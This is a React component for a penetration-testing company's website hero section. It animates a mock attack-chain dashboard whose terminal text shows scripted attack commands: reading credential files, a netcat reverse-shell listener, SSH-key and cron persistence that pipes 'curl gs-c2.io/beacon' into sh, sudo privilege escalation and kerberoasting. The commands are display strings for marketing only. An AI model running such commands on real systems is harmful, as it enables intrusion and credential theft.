// Hero.jsx — VAPT-focused hero with animated attack-flow / kill-chain visualization
const Hero = ({ onCTA, onSecondary }) => {
  return (
    <section style={{ position: 'relative', overflow: 'hidden' }}>
      {/* Faint lavender glow at top */}
      <div style={{
        position: 'absolute', top: -160, left: '50%', transform: 'translateX(-50%)',
        width: 900, height: 360,
        background: 'radial-gradient(ellipse at center, rgba(94,105,210,0.16) 0%, transparent 70%)',
        pointerEvents: 'none', zIndex: 0,
      }} />

      <div style={{
        position: 'relative', zIndex: 1,
        maxWidth: 1280, margin: '0 auto',
        padding: '120px 32px 64px',
        display: 'flex', flexDirection: 'column', alignItems: 'center',
        textAlign: 'center',
      }}>
        {/* Eyebrow */}
        <a href="#certifications" onClick={(e) => { e.preventDefault(); const t = document.getElementById('certifications'); if (t) window.scrollTo({ top: t.getBoundingClientRect().top + window.scrollY - 64, behavior: 'smooth' }); }} style={{
          display: 'inline-flex', alignItems: 'center', gap: 8,
          padding: '4px 10px 4px 4px', textDecoration: 'none',
          background: 'rgba(15,16,17,0.7)',
          border: '1px solid #23252a',
          borderRadius: 9999,
          marginBottom: 28, transition: 'border-color 150ms ease-out',
        }}
        onMouseEnter={e => e.currentTarget.style.borderColor = '#34343a'}
        onMouseLeave={e => e.currentTarget.style.borderColor = '#23252a'}
        >
          <span style={{
            fontSize: 10, fontWeight: 600, color: '#828fff',
            background: 'rgba(94,105,210,0.15)',
            border: '1px solid rgba(94,105,210,0.25)',
            borderRadius: 9999, padding: '2px 8px',
            letterSpacing: '0.5px', textTransform: 'uppercase',
          }}>CREST</span>
          <span style={{
            fontFamily: 'var(--font-text)', fontSize: 12, fontWeight: 400,
            color: '#d0d6e0',
          }}>Aligned methodology · OSCP, OSWE, and OSEP-certified team</span>
          <Icon name="arrowRight" size={11} color="#8a8f98" strokeWidth={2} />
        </a>

        {/* Headline */}
        <h1 style={{
          fontFamily: 'var(--font-display)',
          fontSize: 'clamp(44px, 6.6vw, 88px)',
          fontWeight: 600,
          lineHeight: 1.0,
          letterSpacing: '-3.2px',
          color: '#f7f8f8',
          margin: '0 0 22px',
          maxWidth: 980,
          textWrap: 'balance',
        }}>
          Redefining<br />
          <span style={{
            background: 'linear-gradient(180deg, #f7f8f8 0%, #828fff 60%, #5e6ad2 100%)',
            WebkitBackgroundClip: 'text',
            WebkitTextFillColor: 'transparent',
            backgroundClip: 'text',
          }}>Penetration Testing</span>
        </h1>

        {/* Subhead */}
        <p style={{
          fontFamily: 'var(--font-text)', fontSize: 19, fontWeight: 400,
          lineHeight: 1.55, letterSpacing: '-0.1px',
          color: '#8a8f98', margin: '0 0 36px', maxWidth: 660,
          textWrap: 'pretty',
        }}>
          GreySurface provides manual penetration testing and adversary simulation services that identify, validate, and prioritize security vulnerabilities across your infrastructure, applications, and cloud environments, enabling your organization to reduce risk with confidence.
        </p>

        {/* CTAs */}
        <div style={{ display: 'flex', gap: 10, alignItems: 'center', flexWrap: 'wrap', justifyContent: 'center' }}>
          <button
            onClick={onCTA}
            style={{
              fontFamily: 'var(--font-text)', fontSize: 14, fontWeight: 500,
              background: '#5e6ad2', color: '#fff',
              border: 'none', borderRadius: 8, padding: '11px 18px',
              cursor: 'pointer', display: 'inline-flex', alignItems: 'center', gap: 6,
              transition: 'background 150ms ease-out, transform 120ms ease-out',
              boxShadow: '0 8px 24px -8px rgba(94,105,210,0.6)',
            }}
            onMouseEnter={e => { e.currentTarget.style.background = '#828fff'; e.currentTarget.style.transform = 'translateY(-1px)'; }}
            onMouseLeave={e => { e.currentTarget.style.background = '#5e6ad2'; e.currentTarget.style.transform = 'translateY(0)'; }}
          >
            Get a quote
            <Icon name="arrowRight" size={13} color="#fff" strokeWidth={2} />
          </button>
          <button
            onClick={onSecondary}
            style={{
              fontFamily: 'var(--font-text)', fontSize: 14, fontWeight: 500,
              background: 'transparent', color: '#f7f8f8',
              border: '1px solid #23252a', borderRadius: 8, padding: '11px 18px',
              cursor: 'pointer', display: 'inline-flex', alignItems: 'center', gap: 6,
              transition: 'border-color 150ms ease-out, background 150ms ease-out',
            }}
            onMouseEnter={e => { e.currentTarget.style.borderColor = '#34343a'; e.currentTarget.style.background = '#0f1011'; }}
            onMouseLeave={e => { e.currentTarget.style.borderColor = '#23252a'; e.currentTarget.style.background = 'transparent'; }}
          >
            See test types
          </button>
        </div>

        {/* Quick proof points under CTA */}
        <div style={{
          display: 'flex', gap: 24, marginTop: 28,
          flexWrap: 'wrap', justifyContent: 'center',
        }}>
          {[
            { label: 'Certified testers on every engagement' },
            { label: 'Every test performed manually' },
            { label: 'Free retesting within 90 days' },
          ].map(p => (
            <div key={p.label} style={{ display: 'flex', alignItems: 'center', gap: 6 }}>
              <Icon name="check" size={12} color="#27a644" strokeWidth={2.5} />
              <span style={{ fontSize: 12, color: '#8a8f98' }}>{p.label}</span>
            </div>
          ))}
        </div>

        {/* Live exploit chain mockup */}
        <div style={{
          marginTop: 64, width: '100%', maxWidth: 1100,
          background: '#0f1011',
          border: '1px solid #23252a',
          borderRadius: 16, padding: 14,
          position: 'relative', overflow: 'hidden',
          boxShadow: '0 32px 80px -16px rgba(0,0,0,0.7), 0 0 0 1px rgba(255,255,255,0.02) inset',
        }}>
          <div style={{
            position: 'absolute', top: 0, left: 0, right: 0, height: 1,
            background: 'linear-gradient(90deg, transparent, rgba(94,105,210,0.45) 30%, rgba(94,105,210,0.45) 70%, transparent)',
          }} />
          <Tilt max={3}><ExploitChainMockup /></Tilt>
        </div>
      </div>
    </section>
  );
};

// Live exploit-chain mockup — pentest dashboard with kill chain progress
const ExploitChainMockup = () => {
  const [step, setStep] = React.useState(0);
  const [pinned, setPinned] = React.useState(false);
  React.useEffect(() => {
    if (pinned) return;
    const t = setInterval(() => setStep(s => (s + 1) % 7), 1800);
    return () => clearInterval(t);
  }, [pinned]);

  const chain = [
    { id: 'recon',   label: 'Recon',          tactic: 'TA0043', detail: 'Subdomain enum · 142 hosts mapped',
      iocs: ['142 subdomains', '38 services', '4 forgotten dev hosts'], artifact: 'asset-ledger.json' },
    { id: 'access',  label: 'Initial Access', tactic: 'TA0001', detail: 'CVE-2024-23897 · Jenkins CLI exposed',
      iocs: ['Jenkins 2.426.2', 'CVE-2024-23897', '/etc/passwd disclosed'], artifact: 'jenkins-exploit.py' },
    { id: 'exec',    label: 'Execution',      tactic: 'TA0002', detail: 'Groovy sandbox bypass · RCE confirmed',
      iocs: ['CVE-2019-1003000', 'shell.elf · 28KB', 'beacon → :4444'], artifact: 'rev-shell.groovy' },
    { id: 'persist', label: 'Persistence',    tactic: 'TA0003', detail: 'SSH key dropped · agent.sh installed',
      iocs: ['authorized_keys patched', '/opt/agent.sh', 'cron @hourly'], artifact: 'persistence-pack.tgz' },
    { id: 'privesc', label: 'Priv. Esc.',     tactic: 'TA0004', detail: 'sudo cap_dac_override · root acquired',
      iocs: ['sudo NOPASSWD find', 'cap_dac_override py3', 'uid=0(root)'], artifact: '/linpeas-report/' },
    { id: 'lateral', label: 'Lateral',        tactic: 'TA0008', detail: 'kerberoast · CIFS shares enumerated',
      iocs: ['4 kerberoastable SPNs', '2 hops to DC01', '10.21.0.0/16 reachable'], artifact: 'bloodhound.json' },
    { id: 'impact',  label: 'Impact',         tactic: 'TA0010', detail: 'Customer DB · 2.4 TB readable',
      iocs: ['pii_db · 2.4 TB', 'stripe.live key leaked', '482K customer rows'], artifact: 'impact-evidence.pdf' },
  ];

  return (
    <div style={{
      background: '#0a0a0b', borderRadius: 10, overflow: 'hidden',
      border: '1px solid #1e1f22', fontFamily: 'var(--font-text)',
    }}>
      {/* Title bar */}
      <div style={{
        height: 38, background: '#0f1011', borderBottom: '1px solid #1e1f22',
        display: 'flex', alignItems: 'center', padding: '0 14px', gap: 14,
      }}>
        <div style={{ display: 'flex', gap: 6 }}>
          {['#ff5f57', '#febc2e', '#28c840'].map(c => (
            <div key={c} style={{ width: 10, height: 10, borderRadius: '50%', background: c, opacity: 0.7 }} />
          ))}
        </div>
        <div style={{ display: 'flex', alignItems: 'center', gap: 6, marginLeft: 12 }}>
          <Icon name="target" size={12} color="#5e6ad2" />
          <span style={{ fontSize: 12, color: '#d0d6e0', fontWeight: 500 }}>Engagement · ACME-2026-Q2</span>
          <span style={{ fontSize: 11, color: '#62666d' }}>/ external pentest</span>
        </div>
        <div style={{ marginLeft: 'auto', display: 'flex', alignItems: 'center', gap: 6 }}>
          <div className="gs-pulse" style={{ width: 6, height: 6, borderRadius: '50%', background: pinned ? '#828fff' : '#e8543a' }} />
          <span style={{ fontSize: 11, color: '#8a8f98', fontFamily: 'var(--font-mono)' }}>{pinned ? 'operator · pinned' : 'operator · live'}</span>
        </div>
      </div>

      <div style={{ display: 'grid', gridTemplateColumns: '1fr 1.4fr', height: 460 }}>
        {/* Left — kill chain timeline */}
        <div style={{
          background: '#0c0c0d', borderRight: '1px solid #1e1f22',
          padding: '18px 16px', display: 'flex', flexDirection: 'column',
        }}>
          <div style={{ display: 'flex', alignItems: 'center', justifyContent: 'space-between', marginBottom: 18 }}>
            <span style={{ fontSize: 11, color: '#62666d', textTransform: 'uppercase', letterSpacing: 0.5, fontWeight: 500 }}>MITRE ATT&CK chain</span>
            <span style={{ fontSize: 10, color: '#828fff', fontFamily: 'var(--font-mono)' }}>{step + 1}/{chain.length}</span>
          </div>
          <div style={{ position: 'relative', flex: 1 }}>
            {/* Connecting line */}
            <div style={{
              position: 'absolute', left: 13, top: 6, bottom: 6,
              width: 1, background: '#1e1f22',
            }} />
            <div style={{
              position: 'absolute', left: 13, top: 6,
              width: 1, height: `${(step / (chain.length - 1)) * 100}%`,
              background: 'linear-gradient(180deg, #5e6ad2, #828fff)',
              transition: 'height 800ms ease-out',
            }} />
            {chain.map((c, i) => {
              const done = i < step;
              const active = i === step;
              return (
                <div key={c.id}
                  onClick={() => { setStep(i); setPinned(true); setTimeout(() => setPinned(false), 6000); }}
                  style={{
                    display: 'flex', alignItems: 'flex-start', gap: 10,
                    padding: '4px 0', position: 'relative',
                    marginBottom: 6, cursor: 'pointer',
                  }}>
                  <div style={{
                    width: 26, height: 26, borderRadius: '50%',
                    background: active ? '#5e6ad2' : done ? '#1f2026' : '#0f1011',
                    border: `1px solid ${active ? '#828fff' : done ? '#34343a' : '#1e1f22'}`,
                    display: 'flex', alignItems: 'center', justifyContent: 'center',
                    fontFamily: 'var(--font-mono)', fontSize: 9,
                    color: active ? '#fff' : done ? '#828fff' : '#3e3e44', fontWeight: 500,
                    flexShrink: 0, position: 'relative', zIndex: 1,
                    transition: 'all 250ms ease-out',
                    boxShadow: active ? '0 0 0 4px rgba(94,105,210,0.18)' : 'none',
                  }}>
                    {done ? '✓' : (i + 1).toString().padStart(2, '0')}
                  </div>
                  <div style={{ flex: 1, paddingTop: 4 }}>
                    <div style={{
                      fontSize: 12.5, fontWeight: 500,
                      color: active ? '#f7f8f8' : done ? '#a8aeb8' : '#62666d',
                      transition: 'color 250ms',
                    }}>{c.label}</div>
                    <div style={{ fontSize: 10, color: '#3e3e44', fontFamily: 'var(--font-mono)' }}>{c.tactic}</div>
                  </div>
                </div>
              );
            })}
          </div>
        </div>

        {/* Right — operator console */}
        <div style={{ display: 'flex', flexDirection: 'column', overflow: 'hidden' }}>
          {/* Toolbar */}
          <div style={{
            height: 38, borderBottom: '1px solid #1e1f22',
            display: 'flex', alignItems: 'center', padding: '0 14px', gap: 12,
          }}>
            <span style={{ fontSize: 13, fontWeight: 500, color: '#f7f8f8' }}>{chain[step].label}</span>
            <span style={{
              fontSize: 10, padding: '2px 7px', borderRadius: 4,
              background: 'rgba(94,105,210,0.12)', color: '#828fff',
              fontFamily: 'var(--font-mono)',
            }}>{chain[step].tactic}</span>
            <span style={{ fontSize: 11.5, color: '#62666d', marginLeft: 'auto', fontFamily: 'var(--font-mono)' }}>
              t+{(step * 18 + 4).toString().padStart(2, '0')}m
            </span>
          </div>

          {/* Terminal + side panel */}
          <div style={{ flex: 1, display: 'grid', gridTemplateColumns: '1.6fr 1fr', minHeight: 0 }}>
            <div style={{ padding: 16, background: '#06070a', overflow: 'hidden', position: 'relative', borderRight: '1px solid #1e1f22' }}>
              <ChainTerminal step={step} chain={chain} />
            </div>
            <div style={{ padding: 14, background: '#0a0a0b', overflow: 'hidden', display: 'flex', flexDirection: 'column', gap: 12 }}>
              {/* IoCs captured this step */}
              <div>
                <div style={{ display: 'flex', alignItems: 'center', gap: 6, marginBottom: 8 }}>
                  <Icon name="target" size={11} color="#828fff" />
                  <span style={{ fontSize: 10, color: '#62666d', textTransform: 'uppercase', letterSpacing: 0.5, fontWeight: 500, fontFamily: 'var(--font-mono)' }}>IoCs captured</span>
                </div>
                <div key={`ioc-${step}`} style={{ display: 'flex', flexDirection: 'column', gap: 4, animation: 'gs-rise 320ms' }}>
                  {chain[step].iocs.map((io, i) => (
                    <div key={i} style={{
                      display: 'flex', alignItems: 'center', gap: 6,
                      padding: '5px 8px', borderRadius: 5,
                      background: '#0f1011', border: '1px solid #1e1f22',
                      fontFamily: 'var(--font-mono)', fontSize: 10.5, color: '#d0d6e0',
                    }}>
                      <div style={{ width: 4, height: 4, borderRadius: '50%', background: '#828fff', flexShrink: 0 }} />
                      <span style={{ overflow: 'hidden', textOverflow: 'ellipsis', whiteSpace: 'nowrap' }}>{io}</span>
                    </div>
                  ))}
                </div>
              </div>

              {/* Artifact written to evidence pack */}
              <div>
                <div style={{ display: 'flex', alignItems: 'center', gap: 6, marginBottom: 8 }}>
                  <Icon name="download" size={11} color="#27a644" />
                  <span style={{ fontSize: 10, color: '#62666d', textTransform: 'uppercase', letterSpacing: 0.5, fontWeight: 500, fontFamily: 'var(--font-mono)' }}>Evidence pack</span>
                </div>
                <div key={`art-${step}`} style={{
                  padding: '6px 10px', borderRadius: 5,
                  background: 'rgba(39,166,68,0.08)', border: '1px solid rgba(39,166,68,0.25)',
                  fontFamily: 'var(--font-mono)', fontSize: 10.5, color: '#27a644',
                  display: 'flex', alignItems: 'center', gap: 6,
                  animation: 'gs-rise 360ms',
                }}>
                  <Icon name="check" size={10} color="#27a644" strokeWidth={2.5} />
                  <span style={{ overflow: 'hidden', textOverflow: 'ellipsis', whiteSpace: 'nowrap', flex: 1 }}>+ {chain[step].artifact}</span>
                </div>
              </div>

              {/* ATT&CK technique counter for this phase */}
              <div style={{ marginTop: 'auto' }}>
                <div style={{ display: 'flex', alignItems: 'center', gap: 6, marginBottom: 8 }}>
                  <Icon name="layers" size={11} color="#d98326" />
                  <span style={{ fontSize: 10, color: '#62666d', textTransform: 'uppercase', letterSpacing: 0.5, fontWeight: 500, fontFamily: 'var(--font-mono)' }}>Techniques used</span>
                </div>
                <div style={{ display: 'flex', flexWrap: 'wrap', gap: 4 }}>
                  {['T1190','T1078','T1059','T1547','T1068','T1558','T1486'].slice(0, Math.max(1, step + 1)).map(t => (
                    <span key={t} style={{
                      fontSize: 9.5, padding: '2px 6px', borderRadius: 3,
                      background: '#141516', border: '1px solid #23252a',
                      color: '#828fff', fontFamily: 'var(--font-mono)',
                    }}>{t}</span>
                  ))}
                </div>
              </div>
            </div>
          </div>

          {/* Findings strip */}
          <div style={{
            borderTop: '1px solid #1e1f22', padding: 12,
            display: 'grid', gridTemplateColumns: 'repeat(4, 1fr)', gap: 6,
          }}>
            {[
              { l: 'Critical', v: Math.min(step + 1, 3), c: '#e8543a' },
              { l: 'High',     v: Math.min(step * 2, 7), c: '#d98326' },
              { l: 'Medium',   v: Math.min(step * 3, 11), c: '#5e6ad2' },
              { l: 'Hosts',    v: Math.min(8 + step * 6, 38), c: '#d0d6e0' },
            ].map(k => (
              <div key={k.l} style={{
                background: '#0f1011', border: '1px solid #1e1f22', borderRadius: 6,
                padding: '6px 10px',
              }}>
                <div style={{ fontSize: 9.5, color: '#62666d', textTransform: 'uppercase', letterSpacing: 0.4, fontWeight: 500 }}>{k.l}</div>
                <div style={{ fontFamily: 'var(--font-display)', fontSize: 18, fontWeight: 600, color: k.c, lineHeight: 1.1 }}>{k.v}</div>
              </div>
            ))}
          </div>
        </div>
      </div>
    </div>
  );
};

const ChainTerminal = ({ step, chain }) => {
  const scripts = {
    recon: [
      { p: '$', t: 'gs-recon enum --target acme.corp --depth 3', c: '#d0d6e0' },
      { t: '→ amass enum · 142 subdomains in 38s', c: '#62666d' },
      { t: '→ httpx probe · 38 live · 4 dev hosts unauth\'d', c: '#62666d' },
      { t: '→ ct-log harvest · 18 leaked staging FQDNs', c: '#62666d' },
      { t: '→ shodan ssl-cn:acme.corp · 7 forgotten s3 origins', c: '#d98326' },
      { t: '→ github-dorks · 2 .env leaks · 1 ssh key', c: '#d98326' },
      { t: '✓ surface mapped · ledger flushed to s3', c: '#27a644' },
    ],
    access: [
      { p: '$', t: 'curl -s jenkins.acme.corp/cli?remoting=false', c: '#d0d6e0' },
      { t: '→ HTTP/2 200 · Jenkins 2.426.2 · CLI live', c: '#62666d' },
      { t: '→ CVE-2024-23897 · arbitrary file read via @<file>', c: '#d98326' },
      { p: '$', t: 'gs-poc CVE-2024-23897 --read /etc/passwd', c: '#d0d6e0' },
      { t: '→ leak: root:x:0:0:root:/root:/bin/bash', c: '#62666d' },
      { p: '$', t: 'gs-poc --read /var/jenkins/secrets/initialAdminPassword', c: '#d0d6e0' },
      { t: '→ leak: admin · b7d18f9c1e…', c: '#d98326' },
      { t: '✓ admin session minted · cookie cached', c: '#27a644' },
    ],
    exec: [
      { p: '$', t: 'gs-payload jenkins-rce --groovy --bypass-sandbox', c: '#d0d6e0' },
      { t: '→ sandbox bypass · CVE-2019-1003000 chained', c: '#d98326' },
      { t: '→ ScriptApprover.preApprove() · accepted', c: '#62666d' },
      { p: '$', t: 'nc -lvnp 4444 &', c: '#d0d6e0' },
      { t: '→ Listening on 0.0.0.0:4444', c: '#62666d' },
      { t: '→ Connection from 10.21.4.18:51338', c: '#62666d' },
      { p: '$', t: 'whoami && id && uname -a', c: '#d0d6e0' },
      { t: '→ jenkins · uid=997(jenkins) · Linux 5.15', c: '#d98326' },
      { t: '✓ remote code execution confirmed · shell ttyrec', c: '#e8543a' },
    ],
    persist: [
      { p: '$', t: 'mkdir -p ~/.ssh && chmod 700 ~/.ssh', c: '#d0d6e0' },
      { p: '$', t: 'echo $OPERATOR_KEY >> ~/.ssh/authorized_keys', c: '#d0d6e0' },
      { t: '→ persistence · ed25519 key injected', c: '#62666d' },
      { p: '$', t: 'cat > /opt/agent.sh << \'EOF\'', c: '#d0d6e0' },
      { t: '  #!/bin/sh', c: '#62666d' },
      { t: '  curl -s gs-c2.io/beacon | sh', c: '#62666d' },
      { p: '$', t: '(crontab -l; echo "@hourly /opt/agent.sh") | crontab -', c: '#d0d6e0' },
      { t: '→ cron @hourly · agent.sh registered', c: '#62666d' },
      { t: '✓ implant survives reboot · failover ready', c: '#27a644' },
    ],
    privesc: [
      { p: '$', t: 'gs-linpeas --quick --no-color', c: '#d0d6e0' },
      { t: '→ sudo -l · NOPASSWD on /usr/bin/find', c: '#d98326' },
      { t: '→ getcap -r / · cap_dac_override on /usr/bin/python3', c: '#d98326' },
      { t: '→ SUID · /usr/bin/pkexec · CVE-2021-4034', c: '#d98326' },
      { p: '$', t: 'sudo find . -exec /bin/sh \\; -quit', c: '#d0d6e0' },
      { t: '→ # uid=0(root) gid=0(root) groups=0(root)', c: '#e8543a' },
      { p: '$', t: 'cat /root/.aws/credentials', c: '#d0d6e0' },
      { t: '→ AKIA…7Z2A · CICDDeploy role chained', c: '#e8543a' },
      { t: '✓ host root + cloud handoff acquired', c: '#e8543a' },
    ],
    lateral: [
      { p: '$', t: 'gs-bloodhound --collect ad --domain acme.corp', c: '#d0d6e0' },
      { t: '→ 4,182 users · 612 computers · 38 OUs ingested', c: '#62666d' },
      { p: '$', t: 'GetUserSPNs.py acme/svc-deploy -request', c: '#d0d6e0' },
      { t: '→ 4 kerberoastable SPNs harvested', c: '#62666d' },
      { p: '$', t: 'hashcat -m 13100 spn.hashes rockyou.txt -r best64.rule', c: '#d0d6e0' },
      { t: '→ svc-deploy · weak password · cracked in 142s', c: '#d98326' },
      { p: '$', t: 'crackmapexec smb 10.21.0.0/16 -u svc-deploy -p [redacted]', c: '#d0d6e0' },
      { t: '→ 96 hosts authenticated · 18 admin', c: '#d98326' },
      { t: '✓ tier-0 path · 2 hops to DC01 via ADCS ESC1', c: '#828fff' },
    ],
    impact: [
      { p: '$', t: 'gs-impact --enumerate-sensitive-data --read-only', c: '#d0d6e0' },
      { t: '→ pii_db · 482,931 rows · 2.4 TB readable', c: '#e8543a' },
      { t: '→ stripe.live_key found in vault/payments/prod', c: '#e8543a' },
      { t: '→ s3://acme-backups · 14 nightly dumps exposed', c: '#e8543a' },
      { p: '$', t: 'gs-evidence --capture --tag impact --no-exfil', c: '#d0d6e0' },
      { t: '→ schema captured · 0 rows exfiltrated', c: '#62666d' },
      { t: '→ evidence pack written · SHA256 verified', c: '#27a644' },
      { t: '◉ engagement objective met · standdown initiated', c: '#828fff' },
    ],
  };
  const id = chain[step].id;
  const lines = scripts[id];
  return (
    <div key={step} style={{
      animation: 'gs-rise 350ms ease-out',
      fontFamily: 'var(--font-mono)', fontSize: 12, lineHeight: 1.7,
    }}>
      {lines.map((l, i) => (
        <div key={i} style={{ color: l.c }}>
          {l.p && <span style={{ color: '#828fff' }}>{l.p} </span>}
          {l.t}
        </div>
      ))}
      <div style={{ marginTop: 8, color: '#62666d', fontSize: 11.5 }}>
        <span style={{ color: '#828fff' }}>note → </span>
        {chain[step].detail}
      </div>
      <div style={{ marginTop: 4 }}>
        <span style={{ color: '#828fff' }}>$ </span>
        <span style={{ borderLeft: '2px solid #828fff', marginLeft: 1, paddingLeft: 2, animation: 'gs-blink 1s step-end infinite' }}>&nbsp;</span>
      </div>
    </div>
  );
};

Object.assign(window, { Hero, ExploitChainMockup, ChainTerminal });